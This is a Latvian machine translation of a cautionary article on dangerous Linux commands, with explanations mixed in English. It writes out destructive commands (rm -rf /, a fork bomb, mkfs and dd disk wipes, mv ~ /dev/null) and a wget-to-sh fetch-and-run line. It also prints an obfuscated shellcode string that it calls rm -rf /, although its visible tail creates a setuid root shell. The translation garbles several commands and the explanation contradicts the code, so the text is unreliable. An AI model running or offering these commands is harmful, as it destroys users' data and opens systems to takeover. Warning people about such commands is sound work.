Apmācot komandas, kuras nedrīkstat palaist, var pasargāt jūs no troļļiem, vienlaikus palielinot izpratni par to, kā darbojas Linux. Šis nav izsmeļošs ceļvedis, un komandas šeit var remiksēt dažādos veidos.
Ņemiet vērā, ka daudzas no šīm komandām būs bīstamas tikai tad, ja tām ir pievienota prefiksa sudo par Ubuntu - viņi citādi nedarbosies. Citos Linux sadalījumos lielākajai daļai komandu jābūt palaistām kā root.
rm -rf / - izdzēš visu!
Komanda rm-rf / izdzēš visu iespējamo, ieskaitot cietajā diskā esošos failus un pievienotās noņemamo datu nesēju ierīcēs esošos failus. Šī komanda ir saprotamāka, ja tā ir sadalīta:
rm – Remove the following files.
- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.
/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.
Linux veiksmīgi izpildīs šo komandu un izdzēsīs visu, nepaspiežot jūs, tāpēc piesardzīgi to izmantojiet! Rm komandu var izmantot arī citos bīstamos veidos - rm-rf ~ varētu izdzēst visus failus savā mājas mapē, kamēr rm -rf. * izdzēsīs visus konfigurācijas failus.
Mācība: Sargieties rm-rf.
Slēpts rm-rf /
Šis ir vēl viens koda fragments visā vietnē:
char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
Šī ir rm-rf / – izpildot šo komandu, jūs izdzēsīsiet failus tā, it kā jūs būtu palaists rm -rf /.
Mācība: Nevadiet dīvainas, acīmredzami slēptas komandas, kuras jūs nesaprotat.
: () {: |: &};: - dakša bumba
Šī rindiņa ir vienkārša, bet bīstama, bash funkcija:
:(){:|: &};:
Šī īsā līnija definē čaulas funkciju, kas rada jaunas kopijas. Process nepārtraukti atkārtojas pats, un tā kopijas nepārtraukti atkārtojas, ātri uzsākot visu CPU laiku un atmiņu. Tas var izraisīt datora iesaldēšanu. Tas būtībā ir atteikšanās no pakalpojuma uzbrukums.
Mācība: Bash funkcijas ir spēcīgas, pat ļoti īsas.
mkfs.ext4 / dev / sda1 - formatē cieto disku
The mkfs.ext4 / dev / sda1komanda ir viegli saprast:
mkfs.ext4 – Create a new ext4 file system on the following device.
/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.
Kopā kopā šī komanda var būt līdzvērtīga darbības formātam c: operētājsistēmā Windows - tā izdzēsīs failus pirmajā nodalījumā un aizstās tos ar jaunu failu sistēmu.
Šī komanda var būt arī citās formās - mkfs.ext3 / dev / sdb2 formatētu otro nodalījumu otrajam cietajam diskam ar ext3 failu sistēmu.
Mācība: Uzmanieties, palaidot komandas tieši cietajā diskā, kas sākas ar / dev / sd.
komanda / dev / sda - raksta tieši uz cieto disku
The komanda / dev / sda line darbojas līdzīgi - tā izpilda komandu un nosūta šīs komandas izvadi tieši uz savu pirmo cieto disku, rakstot datus tieši uz cietā diska un kaitējot jūsu failu sistēmai.
command – Run a command (can be any command.)
> – Send the output of the command to the following location.
/dev/sda – Write the output of the command directly to the hard disk device.
Mācība: Tāpat kā iepriekš, ievērojiet komandas, kurās ir cietā diska ierīces, sākot ar / dev / sd.
dd ja = / dev / random from = / dev / sda - raksta junk uz cietā diska
The dd ja = / dev / random of = / dev / sda rinda arī izdzēsīs datus vienā no jūsu cietajiem diskiem.
dd – Perform low-level copying from one location to another.
if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).
of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.
Mācība: dd kopē datus no vienas vietas uz otru, kas var būt bīstams, ja tieši kopējat ierīci.
mv ~ / dev / null - Pārvieto jūsu mājas direktoriju uz melno caurumu
/ dev / null ir vēl viena īpaša vieta - pārvietojot kaut ko uz / dev / null, tas ir tas pats, kas to iznīcina. Domājiet par / dev / null kā melnu caurumu. Būtībā, mv ~ / dev / null nosūta visus savus personīgos failus melnajā caurumā.
mv – Move the following file or directory to another location.
~ – Represents your entire home folder.
/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.
Mācība: ~ Raksturs attēlo jūsu mājas mapi un pārvieto lietas uz / dev / null, tos iznīcina.
wget https://example.com/something -O - | sh - lejupielāde un skripta izpilde
Iepriekš minētā līnija lejupielādē skriptu no interneta un nosūta to sh, kas izpilda skripta saturu. Tas var būt bīstams, ja neesat pārliecināts, kāds ir skripts vai ja neuztica tā avotam - neuzstādiet neuzticamus skriptus.
wget – Downloads a file. (You may also see curl in place of wget.)
https://example.com/something – Download the file from this location.
| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.
sh – Send the file to the sh command, which executes it if it’s a bash script.
Mācība: Nelietojiet lejupielādēt un palaist neuzticamus skriptus no tīmekļa, pat ar komandu.
Vai zināt citas bīstamas komandas, kuras jauniem (un pieredzējušiem) Linux lietotājiem nevajadzētu palaist? Atstājiet komentāru un kopīgojiet tos!